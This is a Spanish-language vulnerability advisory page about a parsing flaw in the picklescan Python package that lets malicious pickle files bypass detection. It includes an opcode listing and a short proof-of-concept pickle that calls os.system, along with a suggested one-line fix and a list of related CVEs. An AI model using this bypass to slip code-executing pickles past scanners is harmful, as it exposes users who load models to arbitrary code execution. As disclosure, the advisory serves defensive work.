Alta

Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass

  • Publicada: 12.08.2025
  • Actualizado: 11.10.2026 13:18

Details

There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK_GLOBAL. Function _list_globals when handling STACK_GLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1. Attacker can put arg in position 0, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.

Example:

    0: S    STRING     'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
    6: S    STRING     'system' --> arg 1: STRING (tracked argument)
   16: \x93 STACK_GLOBAL
   17: S    STRING     'ls'
   23: \x85 TUPLE1
   24: R    REDUCE
   25: .    STOP

PoC

python
import pickle
payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."
with open('bad_pickle.pkl', 'wb') as f:
    f.write(payload)
pickle.load(open('bad_pickle.pkl', 'rb'))

Impact

Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.

Fix

To fix the range here, change range(1, n) to range(1, n+1) to ensure that n-offset stays within the range of 0 to n. https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) picklescan < 0.0.27 0.0.27

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Debilidad (CWE)
CWE-502
Plataforma
Python (PyPI)
Paquete
picklescan
Publicada
12.08.2025
Actualizado
11.10.2026 13:18

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-1788 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-9gvj-pp9x-gcfr - CC BY 4.0

Historial de vulnerabilidades: picklescan

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (58) en el archivo
Entradas en total
58
Primera → última
02.2025 03.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 7
  • Alta 25
  • Media 26

Divulgaciones por año

  1. 2025: 51
  2. 2026: 7
Gravedad:
  1. Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass esta entrada
    Alta CVE-2025-71325 < 0.0.27 0.0.27
  2. Crítica · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  3. Crítica · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  4. Alta · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  5. Alta · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  6. Alta ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  7. Alta CVE-2025-71320 < 0.0.33 0.0.33
  8. Alta · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  9. Alta CVE-2025-71321 < 0.0.33 0.0.33
  10. Crítica · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
Mostrar más (11) Mostrando 21 de 32

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.